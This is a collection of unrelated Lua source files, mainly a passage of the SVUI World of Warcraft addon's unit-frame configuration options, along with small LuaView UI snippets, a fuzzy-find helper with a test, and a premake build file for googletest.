table.insert(set, ff.stringToSequence(v))
end
return set
end
function ff.sequenceSetToStringSet(s)
local stringSet = {}
for _, v in ipairs(s) do
table.insert(stringSet, ff.sequenceToString(v))
end
return stringSet
end
function ff.sequenceEqual(a, b)
if #a ~= #b then
return false
end
for i = 1, #a do
if a[i] ~= b[i] then return false end
end
return true
end
function ff.test()
local set = ff.stringSetToSequenceSet{"aaabbbccc", "acb", "aaabbbcccccccc", "abc"}
local s = ff.stringToSequence"abc"
assert("abc" == ff.sequenceToString(s))
local r = ff.find(s, set, false)
local set = ff.sequenceSetToStringSet(r)
assert(set[1] == "aaabbbccc")
assert(set[2] == "aaabbbcccccccc")
assert(set[3] == "abc")
print("Fuzzy find test passed")
end
return ff
|
local image = ImageView()
-- 这个图片的路径就在文件夹image中
image:setImageUrl("file://image/auxiliary.png")
image:width(48)
image:height(48)
image:setGravity(Gravity.CENTER)
window:addView(image)
|
--
-- Copyright 2017 Alibaba Group
-- License: MIT
-- Website: https://alibaba.github.io/LuaViewSDK
-- User: tuoli
-- Date: 17/4/5
--
Navigation:title("GitHub详情")
local meta = object:new()
function meta:onCreate(args)
self.web = WebView()
self.web:frame(0, 0, sys.contW, sys.contH)
self.web:loadUrl(args.url)
end
function meta:handle()
end
return meta
|
project "googletest"
kind "StaticLib"
language "C++"
targetdir "%{prj.location}/%{cfg.buildcfg}_%{cfg.architecture}"
includedirs {
"../../../external_dependencies/googletest/googletest/include",
"../../../external_dependencies/googletest/googletest",
}
files {
"../../../external_dependencies/googletest/googletest/src/gtest-all.cc",
}
filter { "action:vs*" }
defines { "_HAS_EXCEPTIONS=0", "WIN32_LEAN_AND_MEAN", "STRICT", "_SILENCE_TR1_NAMESPACE_DEPRECATION_WARNING", "GTEST_CATCH_EXCEPTIONS=0" }
buildoptions { "/wd4800", "/wd4511", "/wd4512", "/wd4675" }
|
--[[
##########################################################
S V U I By: Munglunch
##########################################################
LOCALIZED LUA FUNCTIONS
##########################################################
]]--
--[[ GLOBALS ]]--
local _G = _G;
local unpack = _G.unpack;
local select = _G.select;
local assert = _G.assert;
local type = _G.type;
local error = _G.error;
local pcall = _G.pcall;
local print = _G.print;
local ipairs = _G.ipairs;
local pairs = _G.pairs;
local next = _G.next;
local rawset = _G.rawset;
local rawget = _G.rawget;
local tostring = _G.tostring;
local tonumber = _G.tonumber;
local getmetatable = _G.getmetatable;
local setmetatable = _G.setmetatable;
local tinsert = _G.tinsert;
local table = _G.table;
local string = _G.string;
local upper = string.upper;
local gsub = string.gsub;
--[[ TABLE METHODS ]]--
local tsort = table.sort;
local NONE = _G.NONE;
local GetSpellInfo = _G.GetSpellInfo;
local collectgarbage = _G.collectgarbage;
--[[
##########################################################
GET ADDON DATA
##########################################################
]]--
local SV = _G["SVUI"];
local L = SV.L;
local MOD = SV.UnitFrames;
if(not MOD) then return end;
local _, SVUIOptions = ...;
local Schema = MOD.Schema;
local ACD = LibStub("AceConfigDialog-1.0");
local DEFAULT_COLOR = {["r"] = 1, ["g"] = 0, ["b"] = 0};
local STYLE_SELECT = {["coloredIcon"] = L["Colored Icon"], ["texturedIcon"] = L["Textured Icon"], [""] = NONE};
local POSITION_SELECT = {
["TOPLEFT"] = "TOPLEFT",
["TOPRIGHT"] = "TOPRIGHT",
["BOTTOMLEFT"] = "BOTTOMLEFT",
["BOTTOMRIGHT"] = "BOTTOMRIGHT",
["LEFT"] = "LEFT",
["RIGHT"] = "RIGHT",
["TOP"] = "TOP",
["BOTTOM"] = "BOTTOM"
};
local ANCHOR_SELECT = {
["LEFT"] = "LEFT",
["RIGHT"] = "RIGHT",
["TOP"] = "TOP",
["BOTTOM"] = "BOTTOM"
};
local textStringFormats = {
["none"] = "None",
["current"] = "Current",
["deficit"] = "Deficit",
["percent"] = "Percent",
["curpercent"] = "Current - Percent",
["curmax"] = "Current - Maximum",
["curmax-percent"] = "Current - Maximum | %",
};
local FRAME_MAP = {
["player"] = "SVUI_Player",
["target"] = "SVUI_Target",
["targettarget"] = "SVUI_TargetTarget",
["pet"] = "SVUI_Pet",
["pettarget"] = "SVUI_PetTarget",
["focus"] = "SVUI_Focus",
["focustarget"] = "SVUI_FocusTarget",
};
local tempFilterTable, watchedBuffs, filterList = {}, {}, {};
if(not SV.db.Filters.PetBuffWatch) then
SV.db.Filters.PetBuffWatch = {}
end
if(not SV.db.Filters.BuffWatch) then
SV.db.Filters.BuffWatch = {}
end
local function CacheWatchedBuffs(data)
wipe(watchedBuffs)
for spellID, watchData in pairs(data) do
tinsert(watchedBuffs, watchData)
end
end
local function SetWatchedBuff(stringID, id, data, enable, point, color, anyUnit)
if(not data[id]) then
data[stringID] = {["enable"] = enable, ["id"] = id, ["point"] = point, ["color"] = color, ["anyUnit"] = anyUnit}
else
data[stringID]["id"] = id;
data[stringID]["enable"] = enable;
data[stringID]["point"] = point;
data[stringID]["color"] = color;
data[stringID]["anyUnit"] = anyUnit;
end
end
local function UpdateBuffWatch()
MOD:SetUnitFrame("focus")
MOD:SetGroupFrame("raid")
MOD:SetGroupFrame("party")
end
local function UpdatePetBuffWatch()
MOD:SetUnitFrame("pet")
MOD:SetGroupFrame("raidpet")
end
local unitFonts = {
["unitaurabar"] = {
order = 1,
name = "Unitframe AuraBar",
desc = "Used on unit aurabars."
},
["unitaura"] = {
order = 2,
name = "Unitframe Aura",
desc = "Used on unit frames for auras (normal scale)."
},
["unitaurasmall"] = {
order = 3,
name = "Unitframe Aura (Small)",
desc = "Used on unit frames for auras (small scale)."
},
["unitprimary"] = {
order = 4,
name = "Unitframe Values",
desc = "Used on all primary unit frames for health, power and misc values.\nUnits: player, pet, target, focus, boss and arena"
},
["unitsecondary"] = {
order = 5,
name = "Unitframe Values",
desc = "Used on all non-primary unit frames for health, power and misc values.\nUnits: pettarget, targettarget, focustarget, party, raid, raidpet, tank and assist."
},
};
--[[
##########################################################
HELPER FUNCTIONS
##########################################################
]]--
function SVUIOptions:SetSizeConfigGroup(gridMode, unitName)
local sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {}
}
if(gridMode) then
sizeGroup.args = {
size = {
order = 1,
name = L["Grid Size"],
type = "range",
min = 10,
max = 100,
step = 1,
width = 'full',
get = function(key) return SV.db.UnitFrames[unitName].grid[key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "grid"); MOD:SetGroupFrame(unitName) end,
},
spacer1 = {
order = 2,
name = "",
type = "description",
width = "full",
},
wrapXOffset = {
order = 3,
type = "range",
name = L["Horizontal Spacing"],
min = 0,
max = 50,
step = 1,
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
wrapYOffset = {
order = 4,
type = "range",
name = L["Vertical Spacing"],
min = 0,
max = 50,
step = 1,
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
}
else
sizeGroup.args = {
width = {
order = 1,
name = L["Width"],
type = "range",
min = 10,
max = 500,
step = 1,
width = 'full',
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
height = {
order = 2,
name = L["Height"],
type = "range",
min = 10,
max = 500,
step = 1,
width = 'full',
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
spacer1 = {
order = 3,
name = "",
type = "description",
width = "full",
},
wrapXOffset = {
order = 4,
type = "range",
name = L["Horizontal Spacing"],
min = 0,
max = 50,
step = 1,
width = 'full',
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
wrapYOffset = {
order = 5,
type = "range",
name = L["Vertical Spacing"],
min = 0,
max = 50,
step = 1,
width = 'full',
get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end,
},
}
end
return sizeGroup
end
function SVUIOptions:SetCastbarConfigGroup(updateFunction, unitName, count)
local configTable = {
order = 800,
type = "group",
name = L["Castbar"],
get = function(key)
return SV.db.UnitFrames[unitName]["castbar"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "castbar")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {
type = "toggle",
order = 1,
name = L["Enable"]
},
commonGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Base Settings"],
args = {
forceshow = {
order = 1,
name = SHOW.." / "..HIDE,
type = "execute",
func = function()
local v = unitName:gsub("(.)", upper, 1)
v = "SVUI_"..v;
v = v:gsub("t(arget)", "T%1")
if count then
for w = 1, count do
local castbar = _G[v..w].Castbar;
if not castbar.oldHide then
castbar.oldHide = castbar.Hide;
castbar.Hide = castbar.Show;
castbar:Show()
else
castbar.Hide = castbar.oldHide;
castbar.oldHide = nil;
castbar:Hide()
castbar.lastUpdate = 0
end
end
else
local castbar = _G[v].Castbar;
if not castbar.oldHide then
castbar.oldHide = castbar.Hide;
castbar.Hide = castbar.Show;
castbar:Show()
else
castbar.Hide = castbar.oldHide;
castbar.oldHide = nil;
castbar:Hide()
castbar.lastUpdate = 0
end
end
end,
},
icon = {
order = 2,
name = L["Icon"],
type = "toggle"
},
latency = {
order = 3,
name = L["Latency"],
type = "toggle"
},
spark = {
order = 4,
type = "toggle",
name = L["Spark"]
},
}
},
sizeGroup = {
order = 3,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
matchFrameWidth = {
order = 1,
name = L["Auto Width"],
desc = "Force the castbar to ALWAYS match its unitframes width.",
type = "toggle",
},
matchsize = {
order = 2,
type = "execute",
name = L["Match Frame Width"],
desc = "Set the castbar width to match its unitframe.",
func = function()
SV.db.UnitFrames[unitName]["castbar"]["width"] = SV.db.UnitFrames[unitName]["width"]
updateFunction(MOD, unitName, count)
end
},
width = {
order = 3,
name = L["Width"],
type = "range",
width = "full",
min = 50,
max = 600,
step = 1,
disabled = function() return SV.db.UnitFrames[unitName]["castbar"].matchFrameWidth end
},
height = {
order = 4,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 85,
step = 1
},
}
},
colorGroup = {
order = 4,
type = "group",
guiInline = true,
name = L["Custom Coloring"],
args = {
useCustomColor = {
type = "toggle",
order = 1,
name = L["Enable"]
},
castingColor = {
order = 2,
name = L["Custom Bar Color"],
type = "color",
get = function(key)
local color = SV.db.UnitFrames[unitName]["castbar"]["castingColor"]
return color[1], color[2], color[3], color[4]
end,
set = function(key, rValue, gValue, bValue)
SV.db.UnitFrames[unitName]["castbar"]["castingColor"] = {rValue, gValue, bValue}
MOD:RefreshUnitFrames()
end,
disabled = function() return not SV.db.UnitFrames[unitName]["castbar"].useCustomColor end
},
sparkColor = {
order = 3,
name = L["Custom Spark Color"],
type = "color",
get = function(key)
local color = SV.db.UnitFrames[unitName]["castbar"]["sparkColor"]
return color[1], color[2], color[3], color[4]
end,
set = function(key, rValue, gValue, bValue)
SV.db.UnitFrames[unitName]["castbar"]["sparkColor"] = {rValue, gValue, bValue}
MOD:RefreshUnitFrames()
end,
disabled = function() return not SV.db.UnitFrames[unitName]["castbar"].useCustomColor end
},
}
},
formatGroup = {
order = 4,
guiInline = true,
type = "group",
name = L["Text Settings"],
args = {
format = {
order = 1,
type = "select",
name = L["Format"],
values = { ["CURRENTMAX"] = L["Current / Max"], ["CURRENT"] = L["Current"], ["REMAINING"] = L["Remaining"] }
},
}
}
}
}
if(unitName == "player") then
configTable.args.commonGroup.args.ticks = {
order = 6,
type = "toggle",
name = L["Ticks"],
desc = L["Display tick marks on the castbar."]
}
configTable.args.commonGroup.args.displayTarget = {
order = 7,
type = "toggle",
name = L["Display Target"],
desc = L["Display the target of your current cast."]
}
end
return configTable
end
function SVUIOptions:SetMiscConfigGroup(partyRaid, updateFunction, unitName, count)
local miscGroup = {
order = 99,
type = "group",
name = L["Misc Text"],
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "formatting");
local tag = ""
local pc = SV.db.UnitFrames[unitName]["formatting"].threat and "[threat]" or "";
tag = tag .. pc;
local ap = SV.db.UnitFrames[unitName]["formatting"].absorbs and "[absorbs]" or "";
tag = tag .. ap;
local cp = SV.db.UnitFrames[unitName]["formatting"].incoming and "[incoming]" or "";
tag = tag .. cp;
MOD:ChangeDBVar(tag, "tags", unitName, "misc");
updateFunction(MOD, unitName, count)
end,
args = {
incoming = {
order = 1,
name = L["Show Incoming Heals"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].incoming end,
},
absorbs = {
order = 2,
name = L["Show Absorbs"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].absorbs end,
},
threat = {
order = 3,
name = L["Show Threat"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].threat end,
},
xOffset = {
order = 4,
type = "range",
width = "full",
name = L["Misc Text X Offset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1,
get = function() return SV.db.UnitFrames[unitName]["formatting"].xOffset end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); end,
},
yOffset = {
order = 5,
type = "range",
width = "full",
name = L["Misc Text Y Offset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1,
get = function() return SV.db.UnitFrames[unitName]["formatting"].yOffset end,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); end,
},
}
}
return miscGroup
end
function SVUIOptions:SetHealthConfigGroup(partyRaid, updateFunction, unitName, count)
local healthOptions = {
order = 100,
type = "group",
name = L["Health"],
get = function(key)
return SV.db.UnitFrames[unitName]["health"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "health");
updateFunction(MOD, unitName, count)
end,
args = {
commonGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
position = {
type = "select",
order = 1,
name = L["Text Position"],
desc = L["Set the anchor for this bars value text"],
values = SV.PointIndexes
},
xOffset = {
order = 2,
type = "range",
name = L["Text xOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
yOffset = {
order = 3,
type = "range",
name = L["Text yOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
reversed = {
type = "toggle",
order = 5,
name = L["Reverse Fill"],
desc = L["Invert this bars fill direction"]
},
}
},
formatGroup = {
order = 2,
type = "group",
guiInline = true,
name = L["Text Settings"],
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "formatting");
local tag = ""
local pc = SV.db.UnitFrames[unitName]["formatting"].health_colored and "[health:color]" or "";
tag = tag .. pc;
local pt = SV.db.UnitFrames[unitName]["formatting"].health_type;
if(pt and pt ~= "none") then
tag = tag .. "[health:" .. pt .. "]"
end
MOD:ChangeDBVar(tag, "tags", unitName, "health");
updateFunction(MOD, unitName, count)
end,
args = {
health_colored = {
order = 1,
name = L["Colored"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].health_colored end,
desc = L["Use various name coloring methods"]
},
health_type = {
order = 3,
name = L["Text Format"],
type = "select",
get = function() return SV.db.UnitFrames[unitName]["formatting"].health_type end,
desc = L["TEXT_FORMAT_DESC"],
values = textStringFormats,
}
}
},
colorGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["Color Settings"],
args = {
classColor = {
order = 1,
type = "toggle",
name = L["Class Health"],
desc = L["Color health by classcolor or reaction."],
},
valueColor = {
order = 2,
type = "toggle",
name = L["Health By Value"],
desc = L["Color health by amount remaining."],
},
classBackdrop = {
order = 3,
type = "toggle",
name = L["Class Backdrop"],
desc = L["Color the health backdrop by class or reaction."],
},
configureButton = {
order = 4,
name = L["Coloring"],
type = "execute",
width = 'full',
func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "healthGroup") end
},
}
}
}
}
if SV.db.UnitFrames[unitName].health.orientation then
healthOptions.args.commonGroup.args.orientation = {
type = "select",
order = 6,
name = L["Orientation"],
desc = L["Direction the health bar moves when gaining/losing health."],
values = {["HORIZONTAL"] = L["Horizontal"], ["VERTICAL"] = L["Vertical"]}
}
end
if partyRaid then
healthOptions.args.commonGroup.args.frequentUpdates = {
type = "toggle",
order = 7,
name = L["Frequent Updates"],
desc = L["Rapidly update the health, uses more memory and cpu. Only recommended for healing."]
}
end
return healthOptions
end
function SVUIOptions:SetPowerConfigGroup(playerTarget, updateFunction, unitName, count)
local powerOptions = {
order = 200,
type = "group",
name = L["Power"],
get = function(key)
return SV.db.UnitFrames[unitName]["power"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "power");
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Power Bar Enabled"]},
commonGroup = {
order = 2,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
detached = {
type = "toggle",
order = 1,
name = L["Detached"],
desc = L["Detach the power bar from the unit frame."]
},
anchor = {
type = "select",
order = 2,
name = L["Bar Position"],
desc = L["Set direction to anchor this bar"],
values = ANCHOR_SELECT
},
height = {
type = "range",
name = L["Height"],
width = 'full',
order = 4,
min = 3,
max = 250,
step = 1
},
width = {
type = "range",
name = L["Width"],
width = 'full',
order = 5,
min = 3,
max = 250,
step = 1
},
}
},
textGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["Text Settings"],
args = {
position = {
type = "select",
order = 1,
name = L["Text Position"],
desc = L["Set the anchor for this bars value text"],
values = SV.PointIndexes
},
xOffset = {
order = 2,
type = "range",
name = L["Text xOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
yOffset = {
order = 3,
type = "range",
name = L["Text yOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
}
},
formatGroup = {
order = 4,
type = "group",
guiInline = true,
name = L["Text Formatting"],
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "formatting");
local tag = ""
local cp = SV.db.UnitFrames[unitName]["formatting"].power_class and "[classpower]" or "";
tag = tag .. cp;
local ap = SV.db.UnitFrames[unitName]["formatting"].power_alt and "[altpower]" or "";
tag = tag .. ap;
local pc = SV.db.UnitFrames[unitName]["formatting"].power_colored and "[power:color]" or "";
tag = tag .. pc;
local pt = SV.db.UnitFrames[unitName]["formatting"].power_type;
if(pt and pt ~= "none") then
tag = tag .. "[power:" .. pt .. "]"
end
MOD:ChangeDBVar(tag, "tags", unitName, "power");
updateFunction(MOD, unitName, count)
end,
args = {
power_colored = {
order = 1,
name = L["Colored"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].power_colored end,
desc = L["Use various name coloring methods"]
},
power_class = {
order = 2,
name = L["Show Class Power"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].power_class end,
},
power_alt = {
order = 3,
name = L["Show Alt Power"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].power_alt end,
},
power_type = {
order = 4,
name = L["Text Format"],
type = "select",
get = function() return SV.db.UnitFrames[unitName]["formatting"].power_type end,
desc = L["TEXT_FORMAT_DESC"],
values = textStringFormats,
}
}
},
colorGroup = {
order = 5,
type = "group",
guiInline = true,
name = L["Color Settings"],
args = {
classColor = {
order = 1,
type = "toggle",
name = L["Class Power"],
desc = L["Color power by classcolor or reaction."],
},
configureButton = {
order = 2,
name = L["Coloring"],
type = "execute",
width = 'full',
func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "powerGroup") end
},
}
}
}
}
if SV.db.UnitFrames[unitName].power.orientation then
powerOptions.args.commonGroup.args.orientation = {
type = "select",
order = 3,
name = L["Orientation"],
desc = L["Direction the power bar moves when gaining/losing power."],
values = {["HORIZONTAL"] = L["Horizontal"], ["VERTICAL"] = L["Vertical"]}
}
end
return powerOptions
end
function SVUIOptions:SetNameConfigGroup(updateFunction, unitName, count)
local k = {
order = 400,
type = "group",
name = L['Name'],
get = function(key)
return SV.db.UnitFrames[unitName]["name"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "name");
updateFunction(MOD, unitName, count)
end,
disabled = function()
if(SV.db.UnitFrames[unitName].grid and SV.db.UnitFrames[unitName].grid.enable) then
return true
end
return false
end,
args = {
description = {
order = 1,
name = function()
if(SV.db.UnitFrames[unitName].grid and SV.db.UnitFrames[unitName].grid.enable) then
return L['Name Options Disabled While in Grid Mode']
end
return ''
end,
type = "description",
width = "full",
},
enable = {
type = "toggle",
order = 2,
name = L["Unit Name Enabled"],
get = function(key)
return SV.db.UnitFrames[unitName]["name"].tags ~= ""
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "formatting");
local tag = ""
if(value == true) then
tag = SV.db.UnitFrames[unitName]["formatting"].name_colored and "[name:color]" or "";
local length = SV.db.UnitFrames[unitName]["formatting"].name_length;
tag = tag .. "[name:" .. length .. "]"
local lvl = SV.db.UnitFrames[unitName]["formatting"].smartlevel and "[smartlevel]" or "";
tag = tag .. lvl
end
MOD:ChangeDBVar(tag, "tags", unitName, "name");
updateFunction(MOD, unitName, count)
end,
},
commonGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
position = {
type = "select",
order = 1,
name = L["Text Position"],
desc = L["Set the anchor for this units name text"],
values = SV.PointIndexes
},
xOffset = {
order = 2,
type = "range",
name = L["Text xOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
yOffset = {
order = 3,
type = "range",
name = L["Text yOffset"],
desc = L["Offset position for text."],
min = -300,
max = 300,
step = 1
},
}
},
fontGroup = {
order = 4,
type = "group",
guiInline = true,
name = L["Fonts"],
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "name");
MOD:RefreshAllUnitMedia()
end,
args = {
font = {
type = "select",
dialogControl = "LSM30_Font",
order = 0,
name = L["Default Font"],
desc = L["The font used to show unit names."],
values = AceGUIWidgetLSMlists.font
},
fontOutline = {
order = 1,
name = L["Font Outline"],
desc = L["Set the font outline."],
type = "select",
values = {["NONE"] = L["None"], ["OUTLINE"] = "OUTLINE", ["MONOCHROMEOUTLINE"] = "MONOCROMEOUTLINE", ["THICKOUTLINE"] = "THICKOUTLINE"}
},
fontSize = {
order = 2,
name = L["Font Size"],
desc = L["Set the font size."],
type = "range",
min = 6,
max = 22,
step = 1
}
}
},
formatGroup = {
order = 5,
type = "group",
guiInline = true,
name = L["Text Settings"],
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "formatting");
local tag = ""
tag = SV.db.UnitFrames[unitName]["formatting"].name_colored and "[name:color]" or "";
local length = SV.db.UnitFrames[unitName]["formatting"].name_length;
tag = tag .. "[name:" .. length .. "]"
local lvl = SV.db.UnitFrames[unitName]["formatting"].smartlevel and "[smartlevel]" or "";
tag = tag .. lvl
MOD:ChangeDBVar(tag, "tags", unitName, "name");
updateFunction(MOD, unitName, count)
end,
args = {
name_colored = {
order = 1,
name = L["Colored"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].name_colored end,
desc = L["Use various name coloring methods"]
},
smartlevel = {
order = 2,
name = L["Unit Level"],
type = "toggle",
get = function() return SV.db.UnitFrames[unitName]["formatting"].smartlevel end,
desc = L["Display the units level"]
},
name_length = {
order = 3,
name = L["Name Length"],
desc = L["TEXT_FORMAT_DESC"],
type = "range",
get = function() return SV.db.UnitFrames[unitName]["formatting"].name_length end,
min = 1,
max = 30,
step = 1
}
}
}
}
}
return k
end
local portraitStyles = {["2D"] = L["2D"], ["3D"] = L["3D"], ["3DOVERLAY"] = L["3D Overlay"]};
function SVUIOptions:SetPortraitConfigGroup(updateFunction, unitName, count)
local k = {
order = 400,
type = "group",
name = L["Portrait"],
get = function(key)
return SV.db.UnitFrames[unitName]["portrait"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "portrait")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {
type = "toggle",
order = 1,
name = L["Unit Portrait Enabled"]
},
styleGroup = {
order = 2,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
style = {
order = 1,
type = "select",
name = L["Style"],
desc = L["Select the display method of the portrait. NOTE: if overlay is set then only 3D will be available"],
values = portraitStyles
},
width = {
order = 2,
type = "range",
name = L["Width"],
min = 15,
max = 150,
step = 1,
disabled = function() return SV.db.UnitFrames[unitName]["portrait"].style == "3DOVERLAY" end
}
}
},
modGroup = {
order = 3,
type = "group",
guiInline = true,
name = L["3D Settings (Reload required to take affect)"],
disabled = function() return SV.db.UnitFrames[unitName]["portrait"].style == "2D" end,
args = {
rotation = {
order = 1,
type = "range",
name = L["Model Rotation"],
min = 0,
max = 360,
step = 1
},
camDistanceScale = {
order = 2,
type = "range",
name = L["Camera Distance Scale"],
desc = L["How far away the portrait is from the camera."],
min = 0.01,
max = 4,
step = 0.01
},
}
}
}
}
return k
end
function SVUIOptions:SetIconConfigGroup(updateFunction, unitName, count)
local iconGroup = SV.db.UnitFrames[unitName]["icons"]
local grouporder = 1
local k = {
order = 5000,
type = "group",
name = L["Icons"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons")
updateFunction(MOD, unitName, count)
end,
args = {}
};
if(iconGroup["classIcon"]) then
k.args.classIcon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Class Icons"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["classIcon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "classIcon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["raidicon"]) then
k.args.raidicon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Raid Marker"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["raidicon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "raidicon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["combatIcon"]) then
k.args.combatIcon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Combat"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["combatIcon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "combatIcon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["restIcon"]) then
k.args.restIcon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Resting"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["restIcon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "restIcon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
grouporder = grouporder + 1
end
if(iconGroup["classicon"]) then
k.args.classicon = {
order = grouporder,
type = "group",
guiInline = true,
name = L["Class"],
get = function(key)
return SV.db.UnitFrames[unitName]["icons"]["classicon"][key[#key]]
end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], unitName, "icons", "classicon")
updateFunction(MOD, unitName, count)
end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes},
spacer = { order = 3, name = "", type = "description", width = "full"},
size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1},
xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1},
yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1}
}
}
